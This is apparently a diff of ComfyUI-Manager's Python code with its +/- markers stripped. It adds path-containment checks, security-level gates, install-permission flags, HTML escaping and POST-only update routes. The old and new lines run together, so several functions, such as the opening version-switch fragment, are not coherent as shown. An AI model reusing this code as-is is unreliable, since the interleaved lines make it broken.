||||
|
||||
# 1. download
|
||||
def _cnr_switch_version_instant(self, node_id, node_info, no_deps=False, return_postinstall=False):
|
||||
"""Apply a switch using the validated install response."""
|
||||
result = ManagedResult('switch-cnr')
|
||||
|
||||
node_info = cnr_utils.install_node(node_id, version_spec)
|
||||
if node_info is None or not node_info.download_url:
|
||||
return result.fail(f'not available node: {node_id}@{version_spec}')
|
||||
|
||||
version_spec = node_info.version
|
||||
|
||||
if self.active_nodes[node_id][0] == version_spec:
|
||||
return ManagedResult('skip').with_msg("Up to date")
|
||||
|
||||
# 1. download
|
||||
archive_name = f"CNR_temp_{str(uuid.uuid4())}.zip" # should be unpredictable name - security precaution
|
||||
download_path = os.path.join(get_default_custom_nodes_path(), archive_name)
|
||||
manager_downloader.basic_download_url(node_info.download_url, get_default_custom_nodes_path(), archive_name)
|
||||
@@ -989,7 +995,7 @@ class UnifiedManager:
|
||||
result.target = version_spec
|
||||
|
||||
def postinstall():
|
||||
res = self.execute_install_script(f"{node_id}@{version_spec}", install_path, instant_execution=instant_execution, no_deps=no_deps)
|
||||
res = self.execute_install_script(f"{node_id}@{version_spec}", install_path, instant_execution=True, no_deps=no_deps)
|
||||
return res
|
||||
|
||||
if return_postinstall:
|
||||
@@ -1135,6 +1141,71 @@ class UnifiedManager:
|
||||
|
||||
return result
|
||||
|
||||
def purge_node_state(self, node_id: str):
|
||||
"""
|
||||
Remove a node's directory and clean ALL internal dictionaries regardless of categorization.
|
||||
Used by reinstall to guarantee clean state before re-installation.
|
||||
"""
|
||||
if 'comfyui-manager' in node_id.lower():
|
||||
return
|
||||
|
||||
custom_nodes_dir = os.path.normcase(os.path.realpath(get_default_custom_nodes_path()))
|
||||
paths_to_remove = set()
|
||||
|
||||
def _add_path(raw_path):
|
||||
"""Normalize and validate a path before adding to removal set."""
|
||||
if not raw_path:
|
||||
return
|
||||
resolved = os.path.normcase(os.path.realpath(raw_path))
|
||||
if resolved == custom_nodes_dir:
|
||||
logging.warning(f"[ComfyUI-Manager] purge_node_state: refusing to delete custom_nodes root: {raw_path}")
|
||||
return
|
||||
try:
|
||||
if os.path.commonpath([custom_nodes_dir, resolved]) != custom_nodes_dir:
|
||||
logging.warning(f"[ComfyUI-Manager] purge_node_state: path escapes custom_nodes scope, skipping: {raw_path}")
|
||||
return
|
||||
except ValueError:
|
||||
logging.warning(f"[ComfyUI-Manager] purge_node_state: cannot verify containment, skipping: {raw_path}")
|
||||
return
|
||||
paths_to_remove.add(resolved)
|
||||
|
||||
# Collect paths from all dictionaries
|
||||
entry = self.unknown_active_nodes.get(node_id)
|
||||
if entry is not None:
|
||||
_add_path(entry[1])
|
||||
|
||||
entry = self.active_nodes.get(node_id)
|
||||
if entry is not None:
|
||||
_add_path(entry[1])
|
||||
|
||||
entry = self.unknown_inactive_nodes.get(node_id)
|
||||
if entry is not None:
|
||||
_add_path(entry[1])
|
||||
|
||||
fullpath = self.nightly_inactive_nodes.get(node_id)
|
||||
if fullpath is not None:
|
||||
_add_path(fullpath)
|
||||
|
||||
ver_map = self.cnr_inactive_nodes.get(node_id)
|
||||
if ver_map is not None:
|
||||
for key, fp in ver_map.items():
|
||||
_add_path(fp)
|
||||
|
||||
# Convention-based fallback path
|
||||
_add_path(os.path.join(get_default_custom_nodes_path(), node_id))
|
||||
|
||||
# Remove all validated paths, then always clean dictionaries
|
||||
try:
|
||||
for path in paths_to_remove:
|
||||
if os.path.exists(path):
|
||||
try_rmtree(node_id, path)
|
||||
finally:
|
||||
self.unknown_active_nodes.pop(node_id, None)
|
||||
self.active_nodes.pop(node_id, None)
|
||||
self.unknown_inactive_nodes.pop(node_id, None)
|
||||
self.nightly_inactive_nodes.pop(node_id, None)
|
||||
self.cnr_inactive_nodes.pop(node_id, None)
|
||||
|
||||
def unified_uninstall(self, node_id: str, is_unknown: bool):
|
||||
"""
|
||||
Remove whole installed custom nodes including inactive nodes
|
||||
@@ -1206,10 +1277,24 @@ class UnifiedManager:
|
||||
if 'comfyui-manager' in node_id.lower():
|
||||
return result.fail(f"ignored: installing '{node_id}'")
|
||||
|
||||
node_info = cnr_utils.install_node(node_id, version_spec)
|
||||
try:
|
||||
node_info = self._get_cnr_install_info(node_id, version_spec)
|
||||
except PermissionError as exc:
|
||||
return result.fail(str(exc))
|
||||
if node_info is None or not node_info.download_url:
|
||||
return result.fail(f'not available node: {node_id}@{version_spec}')
|
||||
|
||||
result = self._cnr_install(node_id, node_info, instant_execution, no_deps, return_postinstall)
|
||||
# Keep the requested version in the public result.
|
||||
if result.target is not None:
|
||||
result.target = version_spec
|
||||
return result
|
||||
|
||||
def _cnr_install(self, node_id, node_info, instant_execution=False, no_deps=False, return_postinstall=False):
|
||||
"""Install using the checked CNR response."""
|
||||
result = ManagedResult('install-cnr')
|
||||
version_spec = node_info.version
|
||||
|
||||
archive_name = f"CNR_temp_{str(uuid.uuid4())}.zip" # should be unpredictable name - security precaution
|
||||
download_path = os.path.join(get_default_custom_nodes_path(), archive_name)
|
||||
|
||||
@@ -1398,21 +1483,13 @@ class UnifiedManager:
|
||||
else:
|
||||
version_spec = self.resolve_unspecified_version(node_id)
|
||||
|
||||
if version_spec == 'unknown' or version_spec == 'nightly':
|
||||
if version_spec in ('unknown', 'nightly'):
|
||||
try:
|
||||
custom_nodes = await self.get_custom_nodes(channel, mode)
|
||||
except InvalidChannel as e:
|
||||
return ManagedResult('fail').fail(f'Invalid channel is used: {e.channel}')
|
||||
|
||||
the_node = custom_nodes.get(node_id)
|
||||
if the_node is not None:
|
||||
if version_spec == 'unknown':
|
||||
repo_url = the_node['files'][0]
|
||||
else: # nightly
|
||||
repo_url = the_node['repository']
|
||||
else:
|
||||
result = ManagedResult('install')
|
||||
return result.fail(f"Node '{node_id}@{version_spec}' not found in [{channel}, {mode}]")
|
||||
repo_url = await self._get_git_install_url(node_id, version_spec, channel, mode)
|
||||
except InvalidChannel as exc:
|
||||
return ManagedResult('fail').fail(f'Invalid channel is used: {exc.channel}')
|
||||
except LookupError as exc:
|
||||
return ManagedResult('install').fail(str(exc))
|
||||
|
||||
if self.is_enabled(node_id, version_spec):
|
||||
return ManagedResult('skip').with_target(f"{node_id}@{version_spec}")
|
||||
@@ -1420,32 +1497,16 @@ class UnifiedManager:
|
||||
elif self.is_disabled(node_id, version_spec):
|
||||
return self.unified_enable(node_id, version_spec)
|
||||
|
||||
elif version_spec == 'unknown' or version_spec == 'nightly':
|
||||
to_path = os.path.abspath(os.path.join(get_default_custom_nodes_path(), node_id))
|
||||
elif version_spec in ('unknown', 'nightly'):
|
||||
return self._install_git(node_id, version_spec, repo_url, instant_execution, no_deps, return_postinstall)
|
||||
|
||||
if version_spec == 'nightly':
|
||||
# disable cnr nodes
|
||||
if self.is_enabled(node_id, 'cnr'):
|
||||
self.unified_disable(node_id, False)
|
||||
|
||||
# use `repo name` as a dir name instead of `cnr id` if system added nodepack (i.e. publisher is null)
|
||||
cnr = self.cnr_map.get(node_id)
|
||||
|
||||
if cnr is not None and cnr.get('publisher') is None:
|
||||
repo_name = os.path.basename(git_utils.normalize_url(repo_url))
|
||||
to_path = os.path.abspath(os.path.join(get_default_custom_nodes_path(), repo_name))
|
||||
|
||||
res = self.repo_install(repo_url, to_path, instant_execution=instant_execution, no_deps=no_deps, return_postinstall=return_postinstall)
|
||||
if res.result:
|
||||
if version_spec == 'unknown':
|
||||
self.unknown_active_nodes[node_id] = repo_url, to_path
|
||||
elif version_spec == 'nightly':
|
||||
cnr_utils.generate_cnr_id(to_path, node_id)
|
||||
self.active_nodes[node_id] = 'nightly', to_path
|
||||
else:
|
||||
return res
|
||||
|
||||
return res.with_target(version_spec)
|
||||
# Check before changing the existing pack, then reuse this response.
|
||||
try:
|
||||
node_info = self._get_cnr_install_info(node_id, version_spec)
|
||||
except PermissionError as exc:
|
||||
return ManagedResult('install-cnr').fail(str(exc))
|
||||
if node_info is None or not node_info.download_url:
|
||||
return ManagedResult('install-cnr').fail(f'not available node: {node_id}@{version_spec}')
|
||||
|
||||
if self.is_enabled(node_id, 'nightly'):
|
||||
# disable nightly nodes
|
||||
@@ -1458,17 +1519,89 @@ class UnifiedManager:
|
||||
if self.is_disabled(node_id, "cnr"):
|
||||
# enable and switch version if cnr is disabled (not specified version)
|
||||
self.unified_enable(node_id, "cnr")
|
||||
return self.cnr_switch_version(node_id, version_spec, no_deps=no_deps, return_postinstall=return_postinstall)
|
||||
return self._cnr_switch_version(node_id, node_info, instant_execution, no_deps, return_postinstall)
|
||||
|
||||
if self.is_enabled(node_id, "cnr"):
|
||||
return self.cnr_switch_version(node_id, version_spec, no_deps=no_deps, return_postinstall=return_postinstall)
|
||||
return self._cnr_switch_version(node_id, node_info, instant_execution, no_deps, return_postinstall)
|
||||
|
||||
res = self.cnr_install(node_id, version_spec, instant_execution=instant_execution, no_deps=no_deps, return_postinstall=return_postinstall)
|
||||
res = self._cnr_install(node_id, node_info, instant_execution, no_deps, return_postinstall)
|
||||
if res.result:
|
||||
self.active_nodes[node_id] = version_spec, res.to_path
|
||||
|
||||
return res
|
||||
|
||||
async def _get_git_install_url(self, node_id, version_spec, channel, mode):
|
||||
custom_nodes = await self.get_custom_nodes(channel, mode)
|
||||
node = custom_nodes.get(node_id)
|
||||
if node is not None:
|
||||
return node['files'][0] if version_spec == 'unknown' else node['repository']
|
||||
if version_spec == 'nightly':
|
||||
cnr = self.cnr_map.get(node_id)
|
||||
if cnr is not None and cnr.get('repository'):
|
||||
return cnr['repository']
|
||||
raise LookupError(f"Node '{node_id}@{version_spec}' not found in [{channel}, {mode}]")
|
||||
|
||||
def _install_git(self, node_id, version_spec, repo_url, instant_execution=False, no_deps=False, return_postinstall=False):
|
||||
to_path = os.path.abspath(os.path.join(get_default_custom_nodes_path(), node_id))
|
||||
|
||||
if version_spec == 'nightly':
|
||||
# disable cnr nodes
|
||||
if self.is_enabled(node_id, 'cnr'):
|
||||
self.unified_disable(node_id, False)
|
||||
|
||||
# use `repo name` as a dir name instead of `cnr id` if system added nodepack (i.e. publisher is null)
|
||||
cnr = self.cnr_map.get(node_id)
|
||||
|
||||
if cnr is not None and cnr.get('publisher') is None:
|
||||
repo_name = os.path.basename(git_utils.normalize_url(repo_url))
|
||||
to_path = os.path.abspath(os.path.join(get_default_custom_nodes_path(), repo_name))
|
||||
|
||||
res = self.repo_install(repo_url, to_path, instant_execution=instant_execution, no_deps=no_deps, return_postinstall=return_postinstall)
|
||||
if res.result:
|
||||
if version_spec == 'unknown':
|
||||
self.unknown_active_nodes[node_id] = repo_url, to_path
|
||||
elif version_spec == 'nightly':
|
||||
cnr_utils.generate_cnr_id(to_path, node_id)
|
||||
self.active_nodes[node_id] = 'nightly', to_path
|
||||
else:
|
||||
return res
|
||||
|
||||
return res.with_target(version_spec)
|
||||
|
||||
async def reinstall_by_id(self, node_id, version_spec, channel=None, mode=None):
|
||||
if 'comfyui-manager' in node_id.lower():
|
||||
return ManagedResult('skip').fail(f"ignored: installing '{node_id}'")
|
||||
|
||||
if version_spec in ('unknown', 'nightly'):
|
||||
try:
|
||||
repo_url = await self._get_git_install_url(node_id, version_spec, channel, mode)
|
||||
except InvalidChannel as exc:
|
||||
return ManagedResult('fail').fail(f'Invalid channel is used: {exc.channel}')
|
||||
except LookupError as exc:
|
||||
return ManagedResult('install').fail(str(exc))
|
||||
else:
|
||||
try:
|
||||
node_info = self._get_cnr_install_info(node_id, version_spec)
|
||||
except PermissionError as exc:
|
||||
return ManagedResult('install-cnr').fail(str(exc))
|
||||
if node_info is None or not node_info.download_url:
|
||||
return ManagedResult('install-cnr').fail(f'not available node: {node_id}@{version_spec}')
|
||||
|
||||
removed = self.unified_uninstall(node_id, version_spec == 'unknown')
|
||||
if not removed.result:
|
||||
return removed
|
||||
|
||||
for item in removed.items:
|
||||
path = item if version_spec == 'unknown' else item[1]
|
||||
self.processed_install.discard(os.path.join(path, 'install.py'))
|
||||
if version_spec in ('unknown', 'nightly'):
|
||||
return self._install_git(node_id, version_spec, repo_url)
|
||||
|
||||
result = self._cnr_install(node_id, node_info)
|
||||
if result.result:
|
||||
self.active_nodes[node_id] = node_info.version, result.to_path
|
||||
return result
|
||||
|
||||
|
||||
unified_manager = UnifiedManager()
|
||||
|
||||
@@ -1579,6 +1712,10 @@ class ManagerFuncs:
|
||||
def __init__(self):
|
||||
pass
|
||||
|
||||
def is_flagged_install_allowed(self):
|
||||
# Server-scheduled restore children inherit only the resolved permission.
|
||||
return os.environ.get('_COMFYUI_MANAGER_CNR_ALLOW_FLAGGED', 'true') == 'true'
|
||||
|
||||
def run_script(self, cmd, cwd='.'):
|
||||
if len(cmd) > 0 and cmd[0].startswith("#"):
|
||||
print(f"[ComfyUI-Manager] Unexpected behavior: `{cmd}`")
|
||||
@@ -1592,37 +1729,31 @@ class ManagerFuncs:
|
||||
manager_funcs = ManagerFuncs()
|
||||
|
||||
|
||||
# Settings owned by this server; other keys and sections are preserved.
|
||||
WRITTEN_CONFIG_KEYS = (
|
||||
'git_exe',
|
||||
'use_uv',
|
||||
'channel_url',
|
||||
'share_option',
|
||||
'bypass_ssl',
|
||||
'file_logging',
|
||||
'update_policy',
|
||||
'windows_selector_event_loop_policy',
|
||||
'model_download_by_agent',
|
||||
'downgrade_blacklist',
|
||||
'security_level',
|
||||
'always_lazy_install',
|
||||
'network_mode',
|
||||
'db_mode',
|
||||
'allow_git_url_install',
|
||||
'allow_pip_install',
|
||||
'allow_flagged_nodepack_install',
|
||||
)
|
||||
|
||||
|
||||
def write_config():
|
||||
config = configparser.ConfigParser(strict=False)
|
||||
|
||||
config['default'] = {
|
||||
'git_exe': get_config()['git_exe'],
|
||||
'use_uv': get_config()['use_uv'],
|
||||
'channel_url': get_config()['channel_url'],
|
||||
'share_option': get_config()['share_option'],
|
||||
'bypass_ssl': get_config()['bypass_ssl'],
|
||||
"file_logging": get_config()['file_logging'],
|
||||
'update_policy': get_config()['update_policy'],
|
||||
'windows_selector_event_loop_policy': get_config()['windows_selector_event_loop_policy'],
|
||||
'model_download_by_agent': get_config()['model_download_by_agent'],
|
||||
'downgrade_blacklist': get_config()['downgrade_blacklist'],
|
||||
'security_level': get_config()['security_level'],
|
||||
'always_lazy_install': get_config()['always_lazy_install'],
|
||||
'network_mode': get_config()['network_mode'],
|
||||
'db_mode': get_config()['db_mode'],
|
||||
}
|
||||
|
||||
# Sanitize all string values to prevent CRLF injection attacks
|
||||
for key, value in config['default'].items():
|
||||
if isinstance(value, str):
|
||||
config['default'][key] = value.replace('\r', '').replace('\n', '').replace('\x00', '')
|
||||
|
||||
directory = os.path.dirname(context.manager_config_path)
|
||||
if not os.path.exists(directory):
|
||||
os.makedirs(directory)
|
||||
|
||||
with open(context.manager_config_path, 'w') as configfile:
|
||||
config.write(configfile)
|
||||
"""Persist changed settings through the shared writer."""
|
||||
write_config_merged(context.manager_config_path, get_config(), WRITTEN_CONFIG_KEYS)
|
||||
|
||||
|
||||
def read_config():
|
||||
@@ -1654,6 +1785,9 @@ def read_config():
|
||||
'network_mode': default_conf.get('network_mode', NetworkMode.PUBLIC.value).lower(),
|
||||
'security_level': default_conf.get('security_level', SecurityLevel.NORMAL.value).lower(),
|
||||
'db_mode': default_conf.get('db_mode', DBMode.CACHE.value).lower(),
|
||||
'allow_git_url_install': get_bool('allow_git_url_install', False),
|
||||
'allow_pip_install': get_bool('allow_pip_install', False),
|
||||
'allow_flagged_nodepack_install': get_bool('allow_flagged_nodepack_install', False),
|
||||
}
|
||||
|
||||
except Exception:
|
||||
@@ -1677,6 +1811,9 @@ def read_config():
|
||||
'network_mode': NetworkMode.PUBLIC.value,
|
||||
'security_level': SecurityLevel.NORMAL.value,
|
||||
'db_mode': DBMode.CACHE.value,
|
||||
'allow_git_url_install': False,
|
||||
'allow_pip_install': False,
|
||||
'allow_flagged_nodepack_install': False,
|
||||
}
|
||||
|
||||
|
||||
@@ -1684,7 +1821,8 @@ def get_config():
|
||||
global cached_config
|
||||
|
||||
if cached_config is None:
|
||||
cached_config = read_config()
|
||||
# Start tracking changes after the startup configuration is loaded.
|
||||
cached_config = DirtyTrackingConfig(read_config())
|
||||
if cached_config['http_channel_enabled']:
|
||||
print("[ComfyUI-Manager] Warning: http channel enabled, make sure server in secure env")
|
||||
|
||||
@@ -1758,11 +1896,34 @@ def reserve_script(repo_path, install_cmds):
|
||||
|
||||
|
||||
def try_rmtree(title, fullpath):
|
||||
# Tier 1: retry with delay for transient Windows file locks
|
||||
for attempt in range(3):
|
||||
try:
|
||||
shutil.rmtree(fullpath)
|
||||
return
|
||||
except OSError:
|
||||
if attempt < 2:
|
||||
time.sleep(1)
|
||||
|
||||
# Tier 2: rename into .disabled/.trash/ so scanner ignores it
|
||||
trash_dir = os.path.join(os.path.dirname(fullpath), '.disabled', '.trash')
|
||||
os.makedirs(trash_dir, exist_ok=True)
|
||||
trash = os.path.join(trash_dir, os.path.basename(fullpath) + f'_{uuid.uuid4().hex[:8]}')
|
||||
try:
|
||||
shutil.rmtree(fullpath)
|
||||
except Exception as e:
|
||||
logging.warning(f"[ComfyUI-Manager] An error occurred while deleting '{fullpath}', so it has been scheduled for deletion upon restart.\nEXCEPTION: {e}")
|
||||
reserve_script(title, ["#LAZY-DELETE-NODEPACK", fullpath])
|
||||
os.rename(fullpath, trash)
|
||||
shutil.rmtree(trash, ignore_errors=True)
|
||||
if not os.path.exists(trash):
|
||||
return
|
||||
# Rename succeeded but delete failed — schedule trash path for lazy delete
|
||||
logging.warning(f"[ComfyUI-Manager] Renamed '{fullpath}' to '{trash}' but could not delete; scheduled for restart.")
|
||||
reserve_script(title, ["#LAZY-DELETE-NODEPACK", trash])
|
||||
return
|
||||
except OSError:
|
||||
pass
|
||||
|
||||
# Tier 3: lazy delete on restart (ComfyUI GUI fallback)
|
||||
logging.warning(f"[ComfyUI-Manager] An error occurred while deleting '{fullpath}', so it has been scheduled for deletion upon restart.")
|
||||
reserve_script(title, ["#LAZY-DELETE-NODEPACK", fullpath])
|
||||
|
||||
|
||||
def try_install_script(url, repo_path, install_cmd, instant_execution=False):
|
||||
@@ -3090,15 +3251,20 @@ async def restore_snapshot(snapshot_path, git_helper_extras=None):
|
||||
skip_node_packs.append(f"{x[0]}@{x[1]}")
|
||||
elif not ps.result:
|
||||
failed.append(f"{x[0]}@{x[1]}")
|
||||
logging.error(ps.msg)
|
||||
|
||||
# install listed cnr nodes
|
||||
# Do not retry processed switches as fresh installs.
|
||||
checked_cnr = {node_id for node_id, _ in todo_checkout}
|
||||
for k, v in cnr_info.items():
|
||||
if 'comfyui-manager' in k:
|
||||
if 'comfyui-manager' in k or k in checked_cnr:
|
||||
continue
|
||||
|
||||
ps = await unified_manager.install_by_id(k, version_spec=v, instant_execution=True, return_postinstall=True)
|
||||
if ps.action == 'install-cnr' and ps.result:
|
||||
installed_node_packs.append(f"{k}@{v}")
|
||||
elif not ps.result:
|
||||
failed.append(f"{k}@{v}")
|
||||
logging.error(ps.msg)
|
||||
|
||||
if ps is not None and ps.result:
|
||||
if hasattr(ps, 'postinstall'):
|
||||
|
||||
@@ -19,6 +19,7 @@ import asyncio
|
||||
from collections import deque
|
||||
|
||||
from . import manager_core as core
|
||||
from . import html_utils
|
||||
from ..common import manager_util
|
||||
from ..common import cm_global
|
||||
from ..common import manager_downloader
|
||||
@@ -37,11 +38,15 @@ logging.info("[ComfyUI-Manager] network_mode: " + network_mode_description)
|
||||
comfy_ui_hash = "-"
|
||||
comfyui_tag = None
|
||||
|
||||
SECURITY_MESSAGE_MIDDLE = "ERROR: To use this action, a security_level of `normal or below` is required. Please contact the administrator.\nReference: https://github.com/Comfy-Org/ComfyUI-Manager#security-policy"
|
||||
SECURITY_MESSAGE_MIDDLE_P = "ERROR: To use this action, security_level must be `normal or below`, and network_mode must be set to `personal_cloud`. Please contact the administrator.\nReference: https://github.com/ltdrdata/ComfyUI-Manager#security-policy"
|
||||
SECURITY_MESSAGE_NORMAL_MINUS = "ERROR: To use this feature, you must either set '--listen' to a local IP and set the security level to 'normal-' or lower, or set the security level to 'middle' or 'weak'. Please contact the administrator.\nReference: https://github.com/Comfy-Org/ComfyUI-Manager#security-policy"
|
||||
SECURITY_MESSAGE_GENERAL = "ERROR: This installation is not allowed in this security_level. Please contact the administrator.\nReference: https://github.com/Comfy-Org/ComfyUI-Manager#security-policy"
|
||||
SECURITY_MESSAGE_NORMAL_MINUS_MODEL = "ERROR: Downloading models that are not in '.safetensors' format is only allowed for models registered in the 'default' channel at this security level. If you want to download this model, set the security level to 'normal-' or lower."
|
||||
from ..common.security_messages import (
|
||||
SECURITY_MESSAGE_MIDDLE,
|
||||
SECURITY_MESSAGE_MIDDLE_P,
|
||||
SECURITY_MESSAGE_HIGH_P,
|
||||
SECURITY_MESSAGE_GENERAL,
|
||||
SECURITY_MESSAGE_NORMAL_MINUS_MODEL,
|
||||
)
|
||||
SECURITY_MESSAGE_FLAG_GIT_URL = "ERROR: This action requires BOTH: (1) 'allow_git_url_install = true' in config.ini ([default] section), AND (2) a network position the Manager treats as private - either ComfyUI launched with a loopback '--listen' (any 127.x.x.x address, or ::1), OR 'network_mode = personal_cloud' in config.ini. Currently listening on {listen} with network_mode = {network_mode}. Both values are read once at ComfyUI startup, so changing either one needs a restart, done with the server down: STOP ComfyUI, change the setting, then start it again. Both are independent of security_level. Please contact the administrator.\nReference: https://github.com/Comfy-Org/ComfyUI-Manager#security-policy"
|
||||
SECURITY_MESSAGE_FLAG_PIP = "ERROR: This action requires BOTH: (1) 'allow_pip_install = true' in config.ini ([default] section), AND (2) a network position the Manager treats as private - either ComfyUI launched with a loopback '--listen' (any 127.x.x.x address, or ::1), OR 'network_mode = personal_cloud' in config.ini. Currently listening on {listen} with network_mode = {network_mode}. Both values are read once at ComfyUI startup, so changing either one needs a restart, done with the server down: STOP ComfyUI, change the setting, then start it again. Both are independent of security_level. Please contact the administrator.\nReference: https://github.com/Comfy-Org/ComfyUI-Manager#security-policy"
|
||||
|
||||
routes = PromptServer.instance.routes
|
||||
|
||||
@@ -121,6 +126,18 @@ def is_allowed_security_level(level):
|
||||
return True
|
||||
|
||||
|
||||
def _dedicated_install_allowed(flag_key: str) -> bool:
|
||||
"""goal265: P-direct gate for the dedicated install flags (spec §1.2).
|
||||
|
||||
allowed iff config[flag_key] AND (loopback listener OR
|
||||
network_mode == 'personal_cloud') — fully decoupled from security_level.
|
||||
Resolves config through the LEGACY reader and delegates the pure
|
||||
predicate to common/manager_security (which stays config-import-free).
|
||||
"""
|
||||
return manager_security.is_dedicated_install_allowed(
|
||||
core.get_config()[flag_key], args.listen, core.get_config()['network_mode'])
|
||||
|
||||
|
||||
async def get_risky_level(files, pip_packages):
|
||||
json_data1 = await core.get_data_by_mode('local', 'custom-node-list.json')
|
||||
json_data2 = await core.get_data_by_mode('cache', 'custom-node-list.json', channel_url='https://raw.githubusercontent.com/Comfy-Org/ComfyUI-Manager/main')
|
||||
@@ -145,6 +162,9 @@ async def get_risky_level(files, pip_packages):
|
||||
|
||||
|
||||
class ManagerFuncsInComfyUI(core.ManagerFuncs):
|
||||
def is_flagged_install_allowed(self):
|
||||
return core.get_config()['allow_flagged_nodepack_install'] or manager_security.is_loopback_listener(args.listen)
|
||||
|
||||
def run_script(self, cmd, cwd='.'):
|
||||
if len(cmd) > 0 and cmd[0].startswith("#"):
|
||||
logging.error(f"[ComfyUI-Manager] Unexpected behavior: `{cmd}`")
|
||||
@@ -244,7 +264,6 @@ print_comfyui_version()
|
||||
core.check_invalid_nodes()
|
||||
|
||||
|
||||
|
||||
def setup_environment():
|
||||
git_exe = core.get_config()['git_exe']
|
||||
|
||||
@@ -452,7 +471,7 @@ async def task_worker():
|
||||
|
||||
await core.unified_manager.reload('cache')
|
||||
|
||||
async def do_install(item) -> str:
|
||||
async def do_install(item, operation) -> str:
|
||||
ui_id, node_spec_str, channel, mode, skip_post_install = item
|
||||
|
||||
try:
|
||||
@@ -462,7 +481,15 @@ async def task_worker():
|
||||
return f"Cannot resolve install target: '{node_spec_str}'"
|
||||
|
||||
node_name, version_spec, is_specified = node_spec
|
||||
res = await core.unified_manager.install_by_id(node_name, version_spec, channel, mode, return_postinstall=skip_post_install) # discard post install if skip_post_install mode
|
||||
# Check the resolved target, including requests with misleading metadata.
|
||||
level = 'middle+' if version_spec in ('nightly', 'unknown') else 'middle'
|
||||
if not is_allowed_security_level(level):
|
||||
logging.error(SECURITY_MESSAGE_MIDDLE_P if level == 'middle+' else SECURITY_MESSAGE_MIDDLE)
|
||||
return 'Installation blocked by security policy'
|
||||
if operation == 'reinstall':
|
||||
res = await core.unified_manager.reinstall_by_id(node_name, version_spec, channel, mode)
|
||||
else:
|
||||
res = await core.unified_manager.install_by_id(node_name, version_spec, channel, mode, return_postinstall=skip_post_install)
|
||||
|
||||
if res.action not in ['skip', 'enable', 'install-git', 'install-cnr', 'switch-cnr']:
|
||||
logging.error(f"[ComfyUI-Manager] Installation failed:\n{res.msg}")
|
||||
@@ -489,8 +516,12 @@ async def task_worker():
|
||||
res = core.unified_manager.unified_update(node_name, node_ver)
|
||||
|
||||
if res.ver == 'unknown':
|
||||
# unknown_active_nodes[node_id] = (url, fullpath) — url can be
|
||||
# None when git_utils.git_url() in manager_core can't determine
|
||||
# the remote URL. Downstream branches at L504/507 already
|
||||
# handle url is None, so we just need a None-safe title.
|
||||
url = core.unified_manager.unknown_active_nodes[node_name][0]
|
||||
title = os.path.basename(url)
|
||||
title = os.path.basename(url) if url else node_name
|
||||
else:
|
||||
url = core.unified_manager.cnr_map[node_name].get('repository')
|
||||
title = core.unified_manager.cnr_map[node_name]['name']
|
||||
@@ -510,7 +541,7 @@ async def task_worker():
|
||||
base_res['msg'] = 'success'
|
||||
return base_res
|
||||
|
||||
base_res['msg'] = f"An error occurred while updating '{node_name}'."
|
||||
base_res['msg'] = res.msg or f"An error occurred while updating '{node_name}'."
|
||||
logging.error(f"\nERROR: An error occurred while updating '{node_name}'. (res.result={res.result}, res.action={res.action})")
|
||||
return base_res
|
||||
except Exception:
|
||||
@@ -549,6 +580,14 @@ async def task_worker():
|
||||
return "An error occurred while updating 'comfyui'."
|
||||
|
||||
async def do_fix(item) -> str:
|
||||
# Align check level with SECURITY_MESSAGE_HIGH_P (which names "high+"),
|
||||
# matching the parallel update in comfyui_manager/glob/manager_server.py
|
||||
# do_fix. Prior combo of `'high' + HIGH_P` logged a stricter-sounding
|
||||
# message than the gate actually enforced.
|
||||
if not is_allowed_security_level('high+'):
|
||||
logging.error(SECURITY_MESSAGE_HIGH_P)
|
||||
return 'failed'
|
||||
|
||||
ui_id, node_name, node_ver = item
|
||||
|
||||
try:
|
||||
@@ -677,8 +716,8 @@ async def task_worker():
|
||||
tasks_in_progress.add((kind, item[0]))
|
||||
|
||||
try:
|
||||
if kind == 'install':
|
||||
msg = await do_install(item)
|
||||
if kind in ('install', 'reinstall'):
|
||||
msg = await do_install(item, kind)
|
||||
elif kind == 'enable':
|
||||
msg = await do_enable(item)
|
||||
elif kind == 'install-model':
|
||||
@@ -742,19 +781,9 @@ async def queue_batch(request):
|
||||
if k == 'update_all':
|
||||
await _update_all({'mode': v})
|
||||
|
||||
elif k == 'reinstall':
|
||||
elif k in ('install', 'reinstall'):
|
||||
for x in v:
|
||||
res = await _uninstall_custom_node(x)
|
||||
if res.status != 200:
|
||||
failed.add(x['id'])
|
||||
else:
|
||||
res = await _install_custom_node(x)
|
||||
if res.status != 200:
|
||||
failed.add(x['id'])
|
||||
|
||||
elif k == 'install':
|
||||
for x in v:
|
||||
res = await _install_custom_node(x)
|
||||
res = await _queue_node_install(x, k)
|
||||
if res.status != 200:
|
||||
failed.add(x['id'])
|
||||
|
||||
@@ -896,8 +925,11 @@ async def fetch_updates(request):
|
||||
return web.Response(status=400)
|
||||
|
||||
|
||||
@routes.get("/v2/manager/queue/update_all")
|
||||
@routes.post("/v2/manager/queue/update_all")
|
||||
async def update_all(request):
|
||||
rejection = manager_security.reject_simple_form_post(request)
|
||||
if rejection is not None:
|
||||
return rejection
|
||||
json_data = dict(request.rel_url.query)
|
||||
return await _update_all(json_data)
|
||||
|
||||
@@ -944,14 +976,22 @@ async def _update_all(json_data):
|
||||
|
||||
|
||||
def convert_markdown_to_html(input_text):
|
||||
"""Parse source markdown, escaping text and URLs at their HTML boundaries."""
|
||||
pattern_a = re.compile(r'\[a/([^]]+)]\(([^)]+)\)')
|
||||
pattern_w = re.compile(r'\[w/([^]]+)]')
|
||||
pattern_i = re.compile(r'\[i/([^]]+)]')
|
||||
pattern_bold = re.compile(r'\*\*([^*]+)\*\*')
|
||||
pattern_white = re.compile(r'%%([^*]+)%%')
|
||||
|
||||
# Format link labels separately from URLs; escape URLs when inserted.
|
||||
hrefs = []
|
||||
|
||||
def replace_a(match):
|
||||
return f"<a href='{match.group(2)}' target='blank'>{match.group(1)}</a>"
|
||||
# Entities written in the source URL (e.g. &) retain their meaning.
|
||||
url = html_utils.unescape_html_entities(match.group(2))
|
||||
hrefs.append(html_utils.sanitize_url(url))
|
||||
text = html_utils.escape_html_text(match.group(1))
|
||||
return f"<a href='\x00H{len(hrefs) - 1}\x00' target='_blank' rel='noopener noreferrer'>{text}</a>"
|
||||
|
||||
def replace_w(match):
|
||||
return f"<p class='cm-warn-note'>{match.group(1)}</p>"
|
||||
@@ -965,20 +1005,35 @@ def convert_markdown_to_html(input_text):
|
||||
def replace_white(match):
|
||||
return f"<font color='white'>{match.group(1)}</font>"
|
||||
|
||||
input_text = input_text.replace('\\[', '[').replace('\\]', ']').replace('<', '<').replace('>', '>')
|
||||
# NUL dropped first so the input cannot forge the href placeholders.
|
||||
input_text = input_text.replace('\x00', '')
|
||||
